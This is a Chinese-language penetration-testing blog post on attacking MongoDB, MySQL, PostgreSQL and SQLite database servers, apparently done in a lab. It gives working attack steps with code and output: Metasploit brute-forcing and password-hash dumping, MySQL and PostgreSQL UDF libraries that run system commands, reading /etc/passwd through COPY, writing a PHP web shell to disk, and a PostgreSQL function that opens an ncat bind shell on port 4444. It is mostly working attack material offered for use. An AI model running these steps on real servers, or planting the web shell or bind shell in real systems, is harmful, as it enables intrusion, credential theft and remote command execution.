\xeb\xfe's Blog.

漏洞评估-2

2017/12/15

漏洞评估

确定了最可行的攻击方法之后,您需要考虑如何访问目标。在脆弱性分析过程中,您可以结合前一阶段学到的信息,并用它来了解哪些攻击是可行的。其中,漏洞分析考虑了端口和漏洞扫描,通过抓取banner收集的数据以及收集情报期间收集的信息。

评估分类 书签
网络评估
Web应用程序评估
数据库评估

数据库评估

mongodb

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
1. 介绍和Labs安装.
1.1 什么是MongoDB ?
1.2 安全性如何 ?
1.3 在Kali中安装MongoDB
1.4 学习Mongo Shell
1.4.1 创建数据库
1.4.2 检查当前数据库
1.4.3 检查数据库列表
1.4.4 将数据插入集合
1.4.5 查询数据
1.4.6 在查询数据时写入条件
1.4.7 删除数据
1.4.8 删除文件
1.4.9 删除一个集合
1.5 Lab 安装

2. 漏洞评估
2.1 介绍
2.2 扫描开放端口
2.3 服务枚举
2.4 扫描HTTP接口
2.5 访问HTTP接口
2.6 用nmap NSE scripts进行扫描
2.7 mongodb-brute
2.8 mongodb-databases
2.9 Metasploit辅助模块
2.10 攻击利用

3. 攻击应用程序
3.1 介绍

4. 自动化评估
4.1 准备好NoSQLMap
4.2 NoSQL DB访问攻击
4.3 匿名MongoDB访问扫描
4.4 使用NoSQLmap进行NoSQL注入

[未汉化pdf和Labs] 链接: https://pan.baidu.com/s/1miMhRTI 密码: hAha

[NoSQLMap]工具链接:http://github.com/tcstool/nosqlmap

mysql

命令 描述
select @@version 显示mysql服务器版本
select version() 显示mysql服务器版本
SHOW STATUS 显示mysql服务器状态信息
show VARIABLES 显示所有的mysql服务器变量
select user() 查询当前数据库用户
SHOW VARIABLES LIKE ‘%datadir%’ 显示包含数据字符串的所有变量
select load_file(‘/etc/passwd’); 加载文件到数据库中
select 0xnnnnnn… INTO OUTFILE ‘/path/to/filename’ 将数据写入文本文件.
select 0xnnnnnn… INTO DUMPFILE ‘/path/to/filename’ 将数据写入二进制文件.

####怎样安装mysql数据库服务器 ?####

Lab: ubuntu / debian

1
2
$ sudo apt-get install mysql-server
$ sudo systemctl start service

编辑 /etc/mysql/mysql.conf.d/mysqld.cnf, 和改变 绑定的地址.

1
bind-address = 0.0.0.0

####允许远程访问####

1
2
3
4
5
root@sh:~# ss -ant | grep ":3306"
LISTEN 0 80 *:3306 *:*
root@sh:~# mysql -h 10.0.250.71 -uroot -p
Enter password:
ERROR 1130 (HY000): Host '10.0.250.71' is not allowed to connect to this MySQL server

创建一个SQL文件 adduser.sql, 和执行这个命令: mysql -h 127.0.0.1 -u root -p mysql < adduser.sql

1
2
3
4
CREATE USER 'mysqlsec'@'localhost' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'localhost' WITH GRANT OPTION;
CREATE USER 'mysqlsec'@'%' IDENTIFIED BY 'password';
GRANT ALL PRIVILEGES ON *.* TO 'mysqlsec'@'%' WITH GRANT OPTION;

如果成功了,你就能够远程访问MYSQL数据库服务器.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
root@sh:~# mysql -h 10.0.250.71 -u mysqlsec -p mysql
Enter password:
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Welcome to the MySQL monitor. Commands end with ; or \g.
Your MySQL connection id is 8
Server version: 5.6.30-1 (Debian)

Copyright (c) 2000, 2016, Oracle and/or its affiliates. All rights reserved.

Oracle is a registered trademark of Oracle Corporation and/or its
affiliates. Other names may be trademarks of their respective
owners.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql>
mysql> select Host,User,Password from `mysql`.`user` where User='mysqlsec';
+-----------+----------+-------------------------------------------+
| Host | User | Password |
+-----------+----------+-------------------------------------------+
| localhost | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
| % | mysqlsec | *2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19 |
+-----------+----------+-------------------------------------------+
2 rows in set (0.00 sec)

####怎样爆破mysql ?####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
msf auxiliary(mysql_login) > show options

Module options (auxiliary/scanner/mysql/mysql_login):

Name Current Setting Required Description
---- --------------- -------- -----------
BLANK_PASSWORDS false no Try blank passwords for all users
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_ALL_CREDS false no Try each user/password couple stored in the current database
DB_ALL_PASS false no Add all passwords in the current database to the list
DB_ALL_USERS false no Add all users in the current database to the list
PASSWORD no A specific password to authenticate with
PASS_FILE /tmp/pass.txt no File containing passwords, one per line
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host
THREADS 10 yes The number of concurrent threads
USERNAME mysqlsec no A specific username to authenticate as
USERPASS_FILE no File containing users and passwords separated by space, one pair per line
USER_AS_PASS false no Try the username as the password for all users
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mysql_login) > run

[*] 10.0.250.71:3306 - 10.0.250.71:3306 - Found remote MySQL version 5.6.30
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:AzVJmX (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:j1Uyj3 (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:root (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[-] 10.0.250.71:3306 - 10.0.250.71:3306 - LOGIN FAILED: mysqlsec:mysql (Incorrect: Access denied for user 'mysqlsec'@'10.0.250.67' (using password: YES))
[+] 10.0.250.71:3306 - MYSQL - Success: 'mysqlsec:password'
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

####怎样把mysql哈希值dump出来 ?####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
msf auxiliary(mysql_hashdump) > show options

Module options (auxiliary/scanner/mysql/mysql_hashdump):

Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD password no The password for the specified username
RHOSTS 10.0.250.71 yes The target address range or CIDR identifier
RPORT 3306 yes The target port
THREADS 1 yes The number of concurrent threads
USERNAME mysqlsec no The username to authenticate as

msf auxiliary(mysql_hashdump) > run

[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: root:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: debian-sys-maint:*8E970943FBFAA7CF6A11A55677E8050B725D9919
[+] 10.0.250.71:3306 - Saving HashString as Loot: phpmyadmin:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: freepbxuser:*433D16EECA646A6CCF8F024AD8CDDC070C6791C1
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[+] 10.0.250.71:3306 - Saving HashString as Loot: mysqlsec:*2470C0C06DEE42FD1618BB99005ADCA2EC9D1E19
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

####UDF权限提升####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT};

typedef struct st_udf_args {
unsigned int arg_count; // number of arguments
enum Item_result *arg_type; // pointer to item_result
char **args; // pointer to arguments
unsigned long *lengths; // length of string args
char *maybe_null; // 1 for maybe_null args
} UDF_ARGS;

typedef struct st_udf_init {
char maybe_null; // 1 if func can return NULL
unsigned int decimals; // for real functions
unsigned long max_length; // for string functions
char *ptr; // free ptr for func data
char const_item; // 0 if result is constant
} UDF_INIT;

int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error)
{
if (args->arg_count != 1)
return(0);

system(args->args[0]);

return(0);
}

char do_system_init(UDF_INIT *initid, UDF_ARGS *args, char *message)
{
return(0);
}
1
2
$ gcc -g -c raptor_udf2.c
$ gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

将上面的代码编译成一个这样的库文件。接下来,请转换为一个十六进制字符串:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#!/usr/bin/python
# -*- coding: utf8 -*-

# https://www.exploit-db.com/exploits/1518/

# How to upload UDF DLL into mysql server ?
# show VARIABLES;
# select @@plugin_dir;
# SELECT CHAR (...) INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# SELECT 0xnnnnn INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
# drop function if exists do_system
# create function do_system returns integer soname 'lib_mysqludf_sys.so';
# select sys_exec('id');

# How to Compile UDF Dll ?
# gcc -g -c raptor_udf2.c
# gcc -g -shared -W1,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

import sys
import binascii


def convert(filename):
with open(filename) as f:
print(binascii.hexlify(f.read()))


if __name__ == '__main__':
if len(sys.argv) != 2:
print("python {} /path/to/lib_mysqludf_sys.so".format(sys.argv[0]))
else:
convert(sys.argv[1])

上传该文件, 并用mysql用户定义一个函数 do_system.

1
2
3
4
5
6
mysql > select @@plugin_dir;
mysql > SELECT 0x7f45........0000 INTO DUMPFILE '/usr/lib/mysql/plugin/lib_mysqludf_sys.so'
mysql > drop function if exists do_system
mysql > create function do_system returns integer soname 'lib_mysqludf_sys.so';
mysql > select do_system('id > /tmp/result.log');
mysql > select load_file('/tmp/result.log');

####MOF权限提升####

如果mysql部署在windows上,可以尝试用msf:

1
2
3
4
5
6
msf >
use exploit/windows/mysql/mysql_mof
use exploit/windows/mysql/mysql_start_up
use exploit/windows/mysql/scrutinizer_upload_exec
use exploit/windows/mysql/mysql_payload
use exploit/windows/mysql/mysql_yassl_hello

如果有足够的权限,还可以将数据写入os文件(启动,cron等)。

####参考链接####

  1. http://www.mysqltutorial.org/mysql-cheat-sheet.aspx
  2. http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet
  3. https://www.rapid7.com/db/modules/exploit/windows/mysql/mysql_mof
  4. http://legalhackers.com/advisories/MySQL-Maria-Percona-RootPrivEsc-CVE-2016-6664-5617-Exploit.html

postgresql

####数据库连接####

请连接到postgresql数据库,

1
lab:~/ $ psql -h 127.0.0.1 -U postgres -W

####数据库命令####

1
2
3
4
5
6
7
postgres=# help
You are using psql, the command-line interface to PostgreSQL.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help with psql commands
\g or terminate with semicolon to execute query
\q to quit
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
postgres=# \h
Available help:
ABORT CREATE FOREIGN DATA WRAPPER DROP SEQUENCE
ALTER AGGREGATE CREATE FOREIGN TABLE DROP SERVER
ALTER COLLATION CREATE FUNCTION DROP TABLE
ALTER CONVERSION CREATE GROUP DROP TABLESPACE
ALTER DATABASE CREATE INDEX DROP TEXT SEARCH CONFIGURATION
ALTER DEFAULT PRIVILEGES CREATE LANGUAGE DROP TEXT SEARCH DICTIONARY
ALTER DOMAIN CREATE MATERIALIZED VIEW DROP TEXT SEARCH PARSER
ALTER EVENT TRIGGER CREATE OPERATOR DROP TEXT SEARCH TEMPLATE
ALTER EXTENSION CREATE OPERATOR CLASS DROP TRIGGER
ALTER FOREIGN DATA WRAPPER CREATE OPERATOR FAMILY DROP TYPE
ALTER FOREIGN TABLE CREATE ROLE DROP USER
ALTER FUNCTION CREATE RULE DROP USER MAPPING
ALTER GROUP CREATE SCHEMA DROP VIEW
ALTER INDEX CREATE SEQUENCE END
ALTER LANGUAGE CREATE SERVER EXECUTE
ALTER LARGE OBJECT CREATE TABLE EXPLAIN
ALTER MATERIALIZED VIEW CREATE TABLE AS FETCH
ALTER OPERATOR CREATE TABLESPACE GRANT
ALTER OPERATOR CLASS CREATE TEXT SEARCH CONFIGURATION INSERT
ALTER OPERATOR FAMILY CREATE TEXT SEARCH DICTIONARY LISTEN
ALTER ROLE CREATE TEXT SEARCH PARSER LOAD
ALTER RULE CREATE TEXT SEARCH TEMPLATE LOCK
ALTER SCHEMA CREATE TRIGGER MOVE
ALTER SEQUENCE CREATE TYPE NOTIFY
ALTER SERVER CREATE USER PREPARE
ALTER SYSTEM CREATE USER MAPPING PREPARE TRANSACTION
ALTER TABLE CREATE VIEW REASSIGN OWNED
ALTER TABLESPACE DEALLOCATE REFRESH MATERIALIZED VIEW
ALTER TEXT SEARCH CONFIGURATION DECLARE REINDEX
ALTER TEXT SEARCH DICTIONARY DELETE RELEASE SAVEPOINT
ALTER TEXT SEARCH PARSER DISCARD RESET
ALTER TEXT SEARCH TEMPLATE DO REVOKE
ALTER TRIGGER DROP AGGREGATE ROLLBACK
ALTER TYPE DROP CAST ROLLBACK PREPARED
ALTER USER DROP COLLATION ROLLBACK TO SAVEPOINT
ALTER USER MAPPING DROP CONVERSION SAVEPOINT
ALTER VIEW DROP DATABASE SECURITY LABEL
ANALYZE DROP DOMAIN SELECT
BEGIN DROP EVENT TRIGGER SELECT INTO
CHECKPOINT DROP EXTENSION SET
CLOSE DROP FOREIGN DATA WRAPPER SET CONSTRAINTS
CLUSTER DROP FOREIGN TABLE SET ROLE
COMMENT DROP FUNCTION SET SESSION AUTHORIZATION
COMMIT DROP GROUP SET TRANSACTION
COMMIT PREPARED DROP INDEX SHOW
COPY DROP LANGUAGE START TRANSACTION
CREATE AGGREGATE DROP MATERIALIZED VIEW TABLE
CREATE CAST DROP OPERATOR TRUNCATE
CREATE COLLATION DROP OPERATOR CLASS UNLISTEN
CREATE CONVERSION DROP OPERATOR FAMILY UPDATE
CREATE DATABASE DROP OWNED VACUUM
CREATE DOMAIN DROP ROLE VALUES
CREATE EVENT TRIGGER DROP RULE WITH
CREATE EXTENSION DROP SCHEMA
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
postgres=# \?
General
\copyright show PostgreSQL usage and distribution terms
\g [FILE] or ; execute query (and send results to file or |pipe)
\gset [PREFIX] execute query and store results in psql variables
\h [NAME] help on syntax of SQL commands, * for all commands
\q quit psql
\watch [SEC] execute query every SEC seconds

Query Buffer
\e [FILE] [LINE] edit the query buffer (or file) with external editor
\ef [FUNCNAME [LINE]] edit function definition with external editor
\p show the contents of the query buffer
\r reset (clear) the query buffer
\s [FILE] display history or save it to file
\w FILE write query buffer to file

Input/Output
\copy ... perform SQL COPY with data stream to the client host
\echo [STRING] write string to standard output
\i FILE execute commands from file
\ir FILE as \i, but relative to location of current script
\o [FILE] send all query results to file or |pipe
\qecho [STRING] write string to query output stream (see \o)

Informational
(options: S = show system objects, + = additional detail)
\d[S+] list tables, views, and sequences
\d[S+] NAME describe table, view, sequence, or index
\da[S] [PATTERN] list aggregates
\db[+] [PATTERN] list tablespaces
\dc[S+] [PATTERN] list conversions
\dC[+] [PATTERN] list casts
\dd[S] [PATTERN] show object descriptions not displayed elsewhere
\ddp [PATTERN] list default privileges
\dD[S+] [PATTERN] list domains
\det[+] [PATTERN] list foreign tables
\des[+] [PATTERN] list foreign servers
\deu[+] [PATTERN] list user mappings
\dew[+] [PATTERN] list foreign-data wrappers
\df[antw][S+] [PATRN] list [only agg/normal/trigger/window] functions
\dF[+] [PATTERN] list text search configurations
\dFd[+] [PATTERN] list text search dictionaries
\dFp[+] [PATTERN] list text search parsers
\dFt[+] [PATTERN] list text search templates
\dg[+] [PATTERN] list roles
\di[S+] [PATTERN] list indexes
\dl list large objects, same as \lo_list
\dL[S+] [PATTERN] list procedural languages
\dm[S+] [PATTERN] list materialized views
\dn[S+] [PATTERN] list schemas
\do[S] [PATTERN] list operators
\dO[S+] [PATTERN] list collations
\dp [PATTERN] list table, view, and sequence access privileges
\drds [PATRN1 [PATRN2]] list per-database role settings
\ds[S+] [PATTERN] list sequences
\dt[S+] [PATTERN] list tables
\dT[S+] [PATTERN] list data types
\du[+] [PATTERN] list roles
\dv[S+] [PATTERN] list views
\dE[S+] [PATTERN] list foreign tables
\dx[+] [PATTERN] list extensions
\dy [PATTERN] list event triggers
\l[+] [PATTERN] list databases
\sf[+] FUNCNAME show a function's definition
\z [PATTERN] same as \dp

Formatting
\a toggle between unaligned and aligned output mode
\C [STRING] set table title, or unset if none
\f [STRING] show or set field separator for unaligned query output
\H toggle HTML output mode (currently off)
\pset [NAME [VALUE]] set table output option
(NAME := {format|border|expanded|fieldsep|fieldsep_zero|footer|null|
numericlocale|recordsep|recordsep_zero|tuples_only|title|tableattr|pager})
\t [on|off] show only rows (currently off)
\T [STRING] set HTML <table> tag attributes, or unset if none
\x [on|off|auto] toggle expanded output (currently off)

Connection
\c[onnect] {[DBNAME|- USER|- HOST|- PORT|-] | conninfo}
connect to new database (currently "postgres")
\encoding [ENCODING] show or set client encoding
\password [USERNAME] securely change the password for a user
\conninfo display information about current connection

Operating System
\cd [DIR] change the current working directory
\setenv NAME [VALUE] set or unset environment variable
\timing [on|off] toggle timing of commands (currently off)
\! [COMMAND] execute command in shell or start interactive shell

Variables
\prompt [TEXT] NAME prompt user to set internal variable
\set [NAME [VALUE]] set internal variable, or list all if no parameters
\unset NAME unset (delete) internal variable

Large Objects
\lo_export LOBOID FILE
\lo_import FILE [COMMENT]
\lo_list
\lo_unlink LOBOID large object operations

#####列出数据库列表#####

1
2
3
4
5
6
7
8
9
10
11
postgres=# \l
List of databases
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
msfdb | msfuser | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
postgres | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 |
template0 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_US.UTF-8 | en_US.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
(4 rows)

#####列出数据库用户列表#####

1
2
3
4
5
6
postgres=# \du
List of roles
Role name | Attributes | Member of
-----------+------------------------------------------------+-----------
msfuser | | {}
postgres | Superuser, Create role, Create DB, Replication | {}

Please try more details about postgresql database.


####列出目录列表####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
postgres=# select pg_ls_dir('/etc');
ERROR: absolute path not allowed
postgres=# select pg_ls_dir('./');
pg_ls_dir
----------------------
postmaster.opts
postmaster.pid
pg_logical
pg_clog
postgresql.auto.conf
pg_hba.conf
cmd.so
pg_multixact
postgresql.conf
pg_ident.conf
global
pg_stat_tmp
PG_VERSION
pg_dynshmem
pg_twophase
pg_xlog
pg_notify
pg_snapshots
pg_tblspc
pg_serial
pg_stat
base
pg_subtrans
pg_replslot
(24 rows)

####文件读取####

方法一

1
2
3
4
5
6
7
8
9
10
11
12
13
postgres=# select pg_read_file('postgresql.conf', 0, 200);
pg_read_file
--------------------------------------------
# ----------------------------- +
# PostgreSQL configuration file +
# ----------------------------- +
# +
# This file consists of lines of the form:+
# +
# name = value +
# +
# (The "=" is optional.) Whitespace m
(1 row)

方法二

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
postgres=# drop table pwn;
ERROR: table "pwn" does not exist
postgres=# CREATE TABLE pwn(t TEXT);
CREATE TABLE
postgres=# COPY pwn FROM '/etc/passwd';
COPY 27
postgres=# SELECT * FROM pwn limit 1 offset 0;
t
---------------------------------
root:x:0:0:root:/root:/bin/bash
(1 row)

postgres=# SELECT * FROM pwn;
t
------------------------------------------------------------------------------
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/usr/bin/nologin
daemon:x:2:2:daemon:/:/usr/bin/nologin
mail:x:8:12:mail:/var/spool/mail:/usr/bin/nologin
ftp:x:14:11:ftp:/srv/ftp:/usr/bin/nologin
http:x:33:33:http:/srv/http:/usr/bin/nologin
uuidd:x:68:68:uuidd:/:/usr/bin/nologin
dbus:x:81:81:dbus:/:/usr/bin/nologin
nobody:x:99:99:nobody:/:/usr/bin/nologin
systemd-journal-gateway:x:191:191:systemd-journal-gateway:/:/usr/bin/nologin
systemd-timesync:x:192:192:systemd-timesync:/:/usr/bin/nologin
systemd-network:x:193:193:systemd-network:/:/usr/bin/nologin
systemd-bus-proxy:x:194:194:systemd-bus-proxy:/:/usr/bin/nologin
systemd-resolve:x:195:195:systemd-resolve:/:/usr/bin/nologin
systemd-journal-remote:x:999:999:systemd Journal Remote:/:/sbin/nologin
systemd-journal-upload:x:998:998:systemd Journal Upload:/:/sbin/nologin
avahi:x:84:84:avahi:/:/bin/false
polkitd:x:102:102:Policy Kit Daemon:/:/bin/false
git:x:997:997:git daemon user:/:/bin/bash
colord:x:124:124::/var/lib/colord:/bin/false
postgres:x:88:88:PostgreSQL user:/var/lib/postgres:/bin/bash
lab:x:1000:1000::/home/notfound:/bin/bash
stunnel:x:16:16::/var/run/stunnel:/bin/false
dnsmasq:x:996:996:dnsmasq daemon:/:/usr/bin/nologin
mongodb:x:995:2::/var/lib/mongodb:/bin/bash
mysql:x:89:89::/var/lib/mysql:/bin/false
sslh:x:994:994::/:/sbin/nologin
(27 rows)

postgres=# DROP table pwn;

####写入文件####

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
postgres=# DROP TABLE pwn;
DROP TABLE
postgres=# CREATE TABLE pwn (t TEXT);
CREATE TABLE
postgres=# INSERT INTO pwn(t) VALUES ('<?php @system("$_GET[cmd]");?>');
INSERT 0 1
postgres=# SELECT * FROM pwn;
t
--------------------------------
<?php @system("$_GET[cmd]");?>
(1 row)

postgres=# COPY pwn(t) TO '/tmp/cmd.php';
COPY 1
postgres=# DROP TABLE pwn;
DROP TABLE

####UDF hack####

#####编译源#####

1
lab: / $ git clone https://github.com/sqlmapproject/udfhack/
1
2
3
lab: / $ gcc lib_postgresqludf_sys.c -I`pg_config --includedir-server` -fPIC -shared -o udf64.so
lab: / $ gcc -Wall -I/usr/include/postgresql/server -Os -shared lib_postgresqludf_sys.c -fPIC -o lib_postgresqludf_sys.so
lab: / $ strip -sx lib_postgresqludf_sys.so

#####命令执行#####

把udf.so转换为十六进制字符串。

1
lab:~/ $ cat udf.so | hex

利用数据库特性上传udf.so。

1
2
3
4
5
6
7
8
9
10
11
postgres=# INSERT INTO pg_largeobject (loid, pageno, data) VALUES (19074, 0, decode('079c...', 'hex'));
INSERT 0 1


postgres=# SELECT lo_export(19074, 'cmd.so');
ERROR: pg_largeobject entry for OID 19074, page 0 has invalid data field size 3213
postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------
/var/lib/postgres/data
(1 row)

Library类库太大了,我们需要把它分成几块,详情可以查看https://github.com/sqlmapproject/sqlmap/issues/1170.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
postgres=# select * from pg_largeobject;
loid | pageno | data
------+--------+------
(0 rows)

postgres=# SELECT setting FROM pg_settings WHERE name='data_directory';
setting
------------------------
/var/lib/postgres/data
(1 row)

postgres=# SELECT lo_creat(-1);
lo_creat
----------
19075
(1 row)

postgres=# SELECT lo_create(11122);
lo_create
-----------
11122
(1 row)

postgres=# select * from pg_largeobject;
loid | pageno | data
------+--------+------
(0 rows)

postgres=# INSERT INTO pg_largeobject VALUES (11122, 0, decode('079c...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 1, decode('a28e...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 2, decode('1265...', 'hex'));
INSERT 0 1
postgres=# INSERT INTO pg_largeobject VALUES (11122, 3, decode('c62e...', 'hex'));
INSERT 0 1
postgres=# SELECT lo_export(11122, '/tmp/cmd.so');
lo_export
-----------
1
(1 row)

postgres=# SELECT lo_unlink(11122);
lo_unlink
-----------
1
(1 row)

成功上传library类库, 然后创建postgresql函数.

1
2
3
4
postgres=# CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/udf64.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION
postgres=# CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/udf64.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE FUNCTION

sys_exec执行命令, 然后什么也没有返回.

1
2
3
4
5
postgres=# SELECT sys_exec('id');
sys_exec
----------
0
(1 row)

执行命令后,清除函数。

1
2
3
4
postgres=# DROP FUNCTION sys_exec(text);
DROP FUNCTION
postgres=# DROP FUNCTION sys_eval(text);
DROP FUNCTION

#####绑定shell#####

1
2
3
4
5
6
7
8
9
10
11
12
13
// bind shell on port 4444
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

text *exec()
{
system("ncat -e /bin/bash -l -p 4444");
}

编译源码

1
2
3
lab:postgres_cmd/ $  vim nc.c
lab:postgres_cmd/ $ gcc nc.c -I`pg_config --includedir-server` -fPIC -shared -o nc.so
lab:postgres_cmd/ $ strip -sx nc.so

复制nc.so到postgresql的tmp目录, 或者你可以利用数据库特性上传so文件.

1
lab:postgres_cmd/ $  sudo cp nc.so /tmp/systemd-private-374c1bd49d5f425ca21cca8cc6d89de7-postgresql.service-SKrVjI/tmp/nc.so

为绑定shell创建执行函数,用客户端连接到目标.

1
2
3
4
5
6
7
postgres=# CREATE OR REPLACE FUNCTION exec() RETURNS text AS  '/tmp/nc.so', 'exec' LANGUAGE C STRICT;
CREATE FUNCTION
postgres=# SELECT exec();
server closed the connection unexpectedly
This probably means the server terminated abnormally
before or while processing the request.
The connection to the server was lost. Attempting reset: Failed.

####METASPLOIT POSTGRESQL模块####

1
2
3
4
5
6
7
8
use auxiliary/admin/postgres/postgres_readfile
use auxiliary/admin/postgres/postgres_sql
use auxiliary/scanner/postgres/postgres_dbname_flag_injection
use auxiliary/scanner/postgres/postgres_login
use auxiliary/scanner/postgres/postgres_version
use auxiliary/server/capture/postgresql
use exploit/linux/postgres/postgres_payload
use exploit/windows/postgres/postgres_payload

####参考链接####

https://github.com/sqlmapproject/udfhack/
https://github.com/sqlmapproject/sqlmap/issues/1170
http://zone.wooyun.org/content/4971
http://drops.wooyun.org/tips/6449
http://bernardodamele.blogspot.com/2009/01/command-execution-with-postgresql-udf.html

sqlite


sqlite_hacking


####连接数据库####

让我们开始在命令提示符下键入一个简单的sqlite3命令,它将为您提供SQLite命令提示符,您将在其中发出各种SQLite命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
┌─[lab@core]─[~/share/pentestlab/Darknet]
└──╼ sqlite3 temp.db
SQLite version 3.8.10.2 2015-05-20 18:17:19
Enter ".help" for usage hints.
sqlite> .help
.backup ?DB? FILE Backup DB (default "main") to FILE
.bail on|off Stop after hitting an error. Default OFF
.binary on|off Turn binary output on or off. Default OFF
.clone NEWDB Clone data into NEWDB from the existing database
.databases List names and files of attached databases
.dbinfo ?DB? Show status information about the database
.dump ?TABLE? ... Dump the database in an SQL text format
If TABLE specified, only dump tables matching
LIKE pattern TABLE.
.echo on|off Turn command echo on or off
.eqp on|off Enable or disable automatic EXPLAIN QUERY PLAN
.exit Exit this program
.explain ?on|off? Turn output mode suitable for EXPLAIN on or off.
With no args, it turns EXPLAIN on.
.fullschema Show schema and the content of sqlite_stat tables
.headers on|off Turn display of headers on or off
.help Show this message
.import FILE TABLE Import data from FILE into TABLE
.indexes ?TABLE? Show names of all indexes
If TABLE specified, only show indexes for tables
matching LIKE pattern TABLE.
.limit ?LIMIT? ?VAL? Display or change the value of an SQLITE_LIMIT
.load FILE ?ENTRY? Load an extension library
.log FILE|off Turn logging on or off. FILE can be stderr/stdout
.mode MODE ?TABLE? Set output mode where MODE is one of:
ascii Columns/rows delimited by 0x1F and 0x1E
